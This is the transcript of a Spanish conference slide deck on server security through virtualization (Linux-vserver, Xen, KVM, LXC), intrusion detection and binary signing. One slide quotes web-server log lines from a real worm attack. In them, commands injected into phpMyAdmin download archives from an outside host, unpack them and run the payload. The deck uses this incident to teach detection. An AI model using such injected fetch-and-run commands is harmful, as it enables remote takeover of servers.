seguridad por virtualización g4

38
2012-10-30 Seguridad por virtualización G4 Derechos reservados © 2004-2012 Sandino Araico Sánchez <[email protected]> / Enrique A. Sánchez Montellano <[email protected]> / Rolando Cedillo Caballero <[email protected]> Se permite ilimitadamente el uso, copia, redistribución con o sin modificaciones siempre y cuando se mantenga el aviso de derecho de autor y se anoten al final de la presentación todas las modificaciones que se llevan a cabo conservando la historia de las modificaciones que hagan las demás personas e indicando la fecha de cada modificación y el nombre de la persona que la llevó a cabo. Simposium ITSSAT

Upload: sandino-araico-sanchez

Post on 16-Jul-2015

538 views

Category:

Technology


0 download

TRANSCRIPT

Page 1: Seguridad por virtualización G4

2012-10-30Seguridad por virtualización G4

Derechos reservados © 2004-2012 Sandino Araico Sánchez <[email protected]> / Enrique A. Sánchez Montellano <[email protected]> / Rolando Cedillo Caballero <[email protected]>

Se permite ilimitadamente el uso, copia, redistribución con o sin modificaciones siempre y cuando se mantenga el aviso de derecho de autor y se anoten al final de la presentación todas las modificaciones que se llevan a cabo conservando la historia de las modificaciones que hagan las demás personas e indicando la fecha de cada modificación y el nombre de la persona que la llevó a cabo.

Simposium ITSSAT

Page 2: Seguridad por virtualización G4

Xen http://xensource.com

Vbox http://www.virtualbox.org

KVM http://linux-kvm.org

Zonas de Open Solaris

Open VZ http://openvz.org

LXC http://lxc.sourceforge.net

Linux-vserver http://linux-vserver.org

GR Security http://grsecurity.net

Seguridad por virtualización

Page 3: Seguridad por virtualización G4

Atributos de la seguridad por virtualización

Eficiencia

Encapsulamiento

Auditabilidad

Introspección

Dureza

Page 4: Seguridad por virtualización G4

[root@carnitas root] ps fax PID TTY STAT TIME COMMAND 1 ? S 0:04 init [3] 2 ? SW 0:00 [keventd] 3 ? SW 0:00 [kapmd] 4 ? SWN 0:00 [ksoftirqd_CPU0] 5 ? Z 1:06 [kswapd <defunct>] 6 ? SW 0:08 [bdflush] 7 ? SW 5:57 [kupdated] 8 ? SW 6:56 [kjournald] 61 ? SW 0:00 [khubd] 109 ? SW< 0:00 [mdrecoveryd] 1186 ? SW 0:03 [kreiserfsd]31375 ? S 4:59 syslogd -m 021127 ? S 5:16 klogd -x 350 ? S 0:00 /usr/sbin/apmd -p 10 -w 5 -W -P /etc/sysconfig/apm-scripts/apmscript17503 ? S 0:00 /usr/sbin/sshd 2482 ? S 0:18 \_ /usr/sbin/sshd26369 pts/19 S 0:00 | \_ -bash15624 pts/19 S 0:00 | \_ screen -r 6378 ? S 0:00 \_ /usr/sbin/sshd22919 pts/22 S 0:00 | \_ -bash18816 pts/22 S 0:00 | \_ tail --follow=name /var/log/info 2924 ? S 0:00 \_ /usr/sbin/sshd 3507 pts/23 S 0:00 \_ -bash 5315 pts/23 R 0:00 \_ ps fax 5193 ? SL 0:00 ntpd -U ntp -g11656 ? S 0:00 gpm -t ps/2 -m /dev/psaux18722 ? S 0:00 crond27300 ? S 0:00 /usr/sbin/atd 8063 ? S 0:00 /usr/local/sbin/rebootmgr --pidfile /var/run/rebootmgr.pid fedora fedora-pruebas gentoo mandrake redhat10923 ? S 0:00 login -- ruth 16086 tty2 S 0:01 \_ -bash14621 tty3 S 0:00 /sbin/mingetty tty315563 tty4 S 0:00 /sbin/mingetty tty421516 tty5 S 0:00 /sbin/mingetty tty513617 tty6 S 0:00 /sbin/mingetty tty6 2390 ? S 76:58 SCREEN 1833 pts/7 S 0:00 \_ /bin/bash 3889 pts/8 S 0:01 \_ /bin/bash32320 pts/9 S 0:00 \_ /bin/bash 5109 pts/10 S 0:06 \_ /bin/bash 90 pts/13 S 0:00 \_ /bin/bash 6877 pts/17 S 0:00 \_ /bin/bash24449 ? S 0:00 login -- viewlog 3085 tty1 S 0:00 \_ /bin/sh /var/log/viewlogs.sh 4594 tty1 S 0:00 \_ tail --follow=name boot.log cron dmesg ksyms.0 maillog messages mysqld.log secure apache/*log

Introspección

Host

guest vserver guest vserverguest vserveripv4root is now 192.168.4.6New security context is 49154[root@carnitas /] ps fax PID TTY STAT TIME COMMAND29351 pts/23 S 0:00 /bin/bash -login30000 pts/23 R+ 0:00 \_ ps fax31178 ? Ss 0:04 /usr/sbin/cron 8298 ? Ss 0:00 /usr/sbin/sshd12965 ? Ss 0:00 /usr/sbin/syslogd -m 0[root@carnitas /]

ipv4root is now 192.168.4.9New security context is 49153[root@fedora-pruebas /] ps fax PID TTY STAT TIME COMMAND11416 pts/23 S 0:00 /bin/bash -login 642 pts/23 R 0:00 \_ ps fax27525 ? S 2:10 /usr/sbin/rcd -r 468 ? S 34:22 SCREEN11908 pts/2 S 0:00 \_ /bin/bash17447 pts/2 S 125:19 | \_ top24134 pts/3 S 0:00 \_ /bin/bash15032 pts/4 S 0:01 \_ /bin/bash30409 pts/5 S 0:09 \_ /bin/bash27016 pts/6 S 0:03 \_ /bin/bash18787 pts/12 S 0:06 \_ /bin/bash19997 ? S 0:00 crond26925 ? S 0:04 /usr/libexec/postfix/master15234 ? S 0:00 xinetd -stayalive -pidfile /var/run/xinetd.pid 3983 ? S 0:09 /usr/sbin/sshd12499 ? S 0:35 \_ sshd: root@pts/014284 pts/0 S 0:00 \_ -bash10672 pts/0 S 0:00 \_ screen -r21878 ? S 3:32 syslogd -m 0[root@fedora-pruebas /]

ipv4root is now 192.168.4.10 127.0.4.10New security context is 49163[root@fedora-install /] ps fax PID TTY STAT TIME COMMAND21576 pts/23 S 0:00 /bin/bash -login 1092 pts/23 R 0:00 \_ ps fax28746 ? S 0:00 /usr/bin/freshclam -d -p /var/run/clamav/freshclam.pid27546 ? S 0:08 /usr/sbin/clamd 8936 ? S 0:00 \_ /usr/sbin/clamd12545 pts/18 S 0:00 su jabber -c /usr/sbin/jabberd -H /var/lib/jabber -c /var/run/jabber/jabber.xml 8519 pts/18 S 0:00 \_ /usr/sbin/jabberd -H /var/lib/jabber -c /var/run/jabber/jabber.xml21987 pts/18 S 0:00 \_ /usr/sbin/jabberd -H /var/lib/jabber -c /var/run/jabber/jabber.xml11587 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger pop3d-ssl27159 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl27614 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger pop3d23069 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl15630 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger imapd-ssl 6387 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl 7574 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger imapd29190 ? S 0:00 /usr/lib/courier-imap/libexec/couriertcpd -address=0 -stderrlogger=/usr/lib/courier-imap/sbin/courierlogger -stderrl 75 ? S 0:00 /usr/lib/courier-imap/sbin/courierlogger -pid=/var/run/authdaemon.courier-imap/pid -start /usr/lib/courier-imap/libe 7065 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain16345 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain 342 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain 9778 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain30034 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain18176 ? S 0:00 \_ /usr/lib/courier-imap/libexec/authlib/authdaemond.plain12295 ? S 0:00 /usr/libexec/postfix/master 5888 ? S 0:00 \_ qmgr -l -t fifo -u22906 ? S 0:00 \_ pickup -l -t fifo -u 7880 ? S 0:03 /usr/bin/spamd -d -x -u spamd -m 6 -H /var/cache/spamd13036 ? S 0:01 \_ spamd child29368 ? S 0:01 \_ spamd child12580 ? S 0:01 \_ spamd child13315 ? S 0:01 \_ spamd child23456 ? S 0:01 \_ spamd child27050 ? S 0:00 \_ spamd child16011 ? S 0:00 /usr/sbin/httpd 9849 ? S 0:00 \_ /usr/sbin/rotatelogs /var/log/httpd/sapodesk.access.log.%Y%B%d 60480021818 ? S 0:00 \_ /usr/sbin/httpd17319 ? S 0:00 \_ /usr/sbin/httpd16118 ? S 0:00 \_ /usr/sbin/httpd15154 ? S 0:00 \_ /usr/sbin/httpd22121 ? S 0:00 \_ /usr/sbin/httpd19986 ? S 0:00 \_ /usr/sbin/httpd22846 ? S 0:00 \_ /usr/sbin/httpd11579 ? S 0:00 \_ /usr/sbin/httpd 3342 pts/18 S 0:00 /bin/sh /usr/bin/safe_mysqld --defaults-file=/etc/my.cnf23346 pts/18 S 0:00 \_ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-file=28855 pts/18 S 0:00 \_ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --pid-f30840 pts/18 S 0:00 \_ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --p19176 pts/18 S 0:00 \_ /usr/libexec/mysqld --defaults-file=/etc/my.cnf --basedir=/usr --datadir=/var/lib/mysql --user=mysql --p24053 ? S 15:00 /usr/sbin/rcd -r30151 ? S 0:00 crond26749 ? S 0:03 /usr/sbin/sshd 8813 ? S 0:11 \_ sshd: root@pts/129821 pts/1 S 0:00 | \_ -bash 4149 pts/1 S 0:00 | \_ screen 2753 ? S 1:02 | \_ SCREEN 8203 pts/11 S 0:00 | \_ /bin/bash21729 pts/11 S 58:56 | | \_ top 3848 pts/14 S 0:04 | \_ /bin/bash 9026 pts/15 S 0:00 | \_ /bin/bash17204 pts/20 S 0:00 | \_ /bin/bash 602 pts/21 S 0:00 | \_ /bin/bash12312 pts/18 S 0:01 | \_ /bin/bash 3484 ? S 0:00 \_ sshd: root@pts/1612719 pts/16 S 0:00 \_ -bash24044 pts/16 S 0:00 \_ tail --follow=name /var/log/boot.log /var/log/cron /var/log/dmesg /var/log/httpd/access_log /var/log/htt 6578 pts/16 S 0:00 \_ tail --follow=name /var/log/boot.log /var/log/cron /var/log/dmesg /var/log/httpd/access_log /var/log/htt 1220 ? S 0:05 syslogd -m 0[root@fedora-install /]

Page 5: Seguridad por virtualización G4

Hardware (host)

Capa de virtualización

VM (guest)

VM (guest)

VM (guest)

Page 6: Seguridad por virtualización G4

Herramientas de detección de intrusos

Snort

AIDE / samhain

Chkrootkit / RKHunter

Tcpdump / Wireshark

NTOP

PSAD / blockhosts

clamav

Page 7: Seguridad por virtualización G4

Sin virtualizaciónHost

clientes hostiles

207.113.245.241

Servicios en

producción

Snort

Log

Page 8: Seguridad por virtualización G4

Con virtualización

clientes hostiles

Capa de virtualización

Log

tcpdump en el host

Snort207.113.245.241

Servicios en

producción

Page 9: Seguridad por virtualización G4

clientes hostiles

Log

tcpdump en el host

Snort207.113.245.241

Servicios probablementevulnerables

Honeypot en producción

Capa de virtualización

Page 10: Seguridad por virtualización G4

Firma de binariosSin virtualización

Host

clientes hostiles

207.113.245.241

Log/usr/sbin/aide

/bin /lib /etc /usr/bin /usr/lib/usr/sbin

Page 11: Seguridad por virtualización G4

/bin /lib /etc /usr/bin /usr/sbin

clientes hostiles

Capa de virtualización

Repo

Aide / samhain

Firma de binarios/bin /lib /etc /usr/bin /usr/sbin

/bin /lib /etc /usr/bin /usr/sbin

/bin /lib /etc /usr/bin /usr/sbin

/bin /lib /etc /usr/bin /usr/sbin

/bin /lib /etc /usr/bin /usr/sbin

Hardware (host)

Page 12: Seguridad por virtualización G4

Acceso a la red

Iptables

Iproute2

OpenVPN

Squid

Ipcop

blockhosts

Page 13: Seguridad por virtualización G4

Sin virtualizaciónHost 200.33.4.13 - 18

HTTP

clientes

SMTP POP3

IMAPFTP FTP

/var/www/html /home

Page 14: Seguridad por virtualización G4

Con virtualización

clientes

Capa de virtualización

/var/www/html /home

Hardware (host)

FTP HTTP SMTP POP3

Page 15: Seguridad por virtualización G4

DMZ virtual

clientes

Capa de virtualización

/var/www/html /home

Hardware (host)

FTP HTTP SMTP POP3

NAT

Page 16: Seguridad por virtualización G4

Así se ve un gusanoarrachera.saks: 614 total, 2 running, 612 sleeping, 0 stopped, 0 zombieCpu0 : 0.0%us, 0.1%sy, 0.0%ni, 97.2%id, 0.0%wa, 1.5%hi, 1.2%si, 0.0%st...Mem: 12302896k total, 12038224k used, 264672k free, 1234036k buffersSwap: 4192880k total, 3280k used, 4189600k free, 7756440k cached PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND

16044 bin 24 0 3540 1956 1340 R 100 0.0 11:02.05 x 12188 40 17 0 23176 19m 1860 S 0 0.2 0:31.61 named 27265 40 15 0 15536 12m 2068 S 0 0.1 0:01.27 named 7721 root 15 0 17604 1968 992 R 0 0.0 1:04.83 top

Page 17: Seguridad por virtualización G4

Así se ve un gusano599 [root@posh ~] vcontext --xid 126 --migrate -- ls -la /proc/16044total 0dr-x------ 6 bin bin 0 Oct 9 12:03 .dr-xr-xr-x 629 root root 0 Oct 8 08:24 ..dr-xr-xr-x 2 bin bin 0 Oct 9 12:17 attr...-r--r--r-- 1 bin bin 0 Oct 9 12:14 cmdlinelrwxrwxrwx 1 bin bin 0 Oct 9 12:17 cwd -> /vservers/eaea/usr/local/apache2/eaea/data/bb-r-------- 1 bin bin 0 Oct 9 12:17 environlrwxrwxrwx 1 bin bin 0 Oct 9 12:03 exe -> /vservers/eaea/usr/bin/perl...

-rw-r--r-- 1 bin bin 0 Oct 9 12:17 oom_adj-r--r--r-- 1 bin bin 0 Oct 9 12:17 oom_scorelrwxrwxrwx 1 bin bin 0 Oct 9 12:17 root -> /vservers/eaea ...

Page 18: Seguridad por virtualización G4

Así se ve un gusano84.194.192.10 - - [09/Oct/2009:06:19:28 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea;%20wget%20ns.ava-bg.com/~eliza/emsi.gif;%20tar%20zxvf%20emsi.gif;%20rm%20-rf%20emsi.gif;%20cd%20mc-root;%20./start%20php.My-Admin- HTTP/1.1" 200 31884.194.192.10 - - [09/Oct/2009:06:19:50 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea/mc-root/r;%20ps%20x HTTP/1.1" 200 82784.194.192.10 - - [09/Oct/2009:06:20:32 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea/mc-root/r;%20wget%20ns.ava-bg.com/~eliza/dd0s.gif;%20tar%20zxvf%20dd0s.gif;%20rm%20-rf%20dd0s.gif;%20cd%20bb;%20PATH=%22./%22%20httpd;%20ps%20x HTTP/1.1" 200 112384.194.192.10 - - [09/Oct/2009:06:20:54 -0500] "GET //phpmyadmin/config/inc.inc.php?c=cd%20/usr/local/apache2/htdocs/eaea/mc-root/r/bb;%20./httpd;%20ps%20x HTTP/1.1" 200 839

Page 19: Seguridad por virtualización G4

Sistemas embebidosuClibc

Gentoo embedded <--- Linux Not GNU

USE=static

Resource limits

Storage limits

Solamente un proceso estático y ya

Page 20: Seguridad por virtualización G4

Con virtualización(Embebidos)

clientes

Capa de virtualización

/var/www/html /home

Hardware (host)

FTPHTTP SMTP POP3

Page 21: Seguridad por virtualización G4

Funciona igual pero son más pequeños

Un proceso por vserver

Sistema de archivos mínimo

No hay librerías

No hay compiladores

Fácilmente clusterizables

Page 22: Seguridad por virtualización G4

Virtualización + HA

Director

Clientes

Director en standby

Capa de virtualización

/var/www/html - NAS - /homeHost A Host B

VPS

VPS VPS

VPS

VPS

VPS

VPS

Page 23: Seguridad por virtualización G4

NAS redundante

Director

Clientes

Director en standby

Capa de virtualización

VPS

VPS VPS

VPS

VPS

VPS

VPS

Host A Host B NAS A NAS B

Page 24: Seguridad por virtualización G4

Estable (viejo)Linux 2.6.22.19

Linux-Vserver 2.2.0.7

GR Security 2.1.11

LVM2

Gentoo hardened 10.0

NFS

Page 25: Seguridad por virtualización G4

DesarrolloLinux 3.2.22

Linux-Vserver 2.3.2.10

GR Security 2.9.1

LVM2

Gentoo hardened 12.0

DRBD

OCFS2 / GFS2 / Glusterfs / Ceph

Page 26: Seguridad por virtualización G4

Cuadro comparativo

Linux-vserver Libre

Xen Libre y propietario

KVM Libre

LXC Libre

Page 27: Seguridad por virtualización G4

Sistema operativo

Linux-vserver Linux

Xen Linux / Net BSD / Open Solaris

KVM Linux

LXC Linux

Page 28: Seguridad por virtualización G4

Tecnología de virtualización

Linux-vserver Soft partitioning

Xen Virtualización y paravirtualización

KVM Virtualización y paravirtualización

LXC Soft partitioning

Page 29: Seguridad por virtualización G4

Encapsulamiento

Linux-vserver Parcial

Xen Sí

KVM Sí

LXC Parcial

Page 30: Seguridad por virtualización G4

Auditabilidad

Linux-vserver Sí

Xen No

KVM No

LXC SíXen y KVM podrían ser auditables si montamos el sistema de archivos raíz sobre NFS o sobre OCFS2/GFS2/Ceph

Page 31: Seguridad por virtualización G4

Introspección

Linux-vserver Sí

Xen No

KVM No

LXC Sí

El acceso a la consola del S. O. no se considera introspección

Page 32: Seguridad por virtualización G4

GR Security

Linux-vserver Sí

Xen En Linux > 3.0

KVM Sí

LXC Sí

Page 33: Seguridad por virtualización G4

Sistemas operativos heterogeneos

Linux-vserver No

Xen Linux, Net BSD, Open Solaris

KVM Solo en AMD64

LXC No

Page 34: Seguridad por virtualización G4

Versión más reciente de Linux(sin GR Security)

Linux-vserver 3.6

Xen 3.6.4

KVM 3.6.4

LXC 3.6.4

Page 35: Seguridad por virtualización G4

Versión más reciente de Linux(con GR Security)

Linux-vserver 3.2.22

Xen 3.6.4

KVM 3.6.4

LXC 3.6.4

Page 36: Seguridad por virtualización G4

Firma de binariosSin virtualización

Host

clientes hostiles

207.113.245.241

Log/usr/sbin/aide

/bin /lib /etc /usr/bin /usr/lib/usr/sbin

Page 37: Seguridad por virtualización G4

IDS en el NAS

clientes hostiles

Log( aide | chkrootkit | rkhunter | samhain )

/bin /lib /etc /usr/bin /usr/lib/usr/sbin

NAS

Capa de virtualización

Host A Host B

VPS VPS VPS VPS

( snort | NTOP ) ( tcpdump | blockhosts )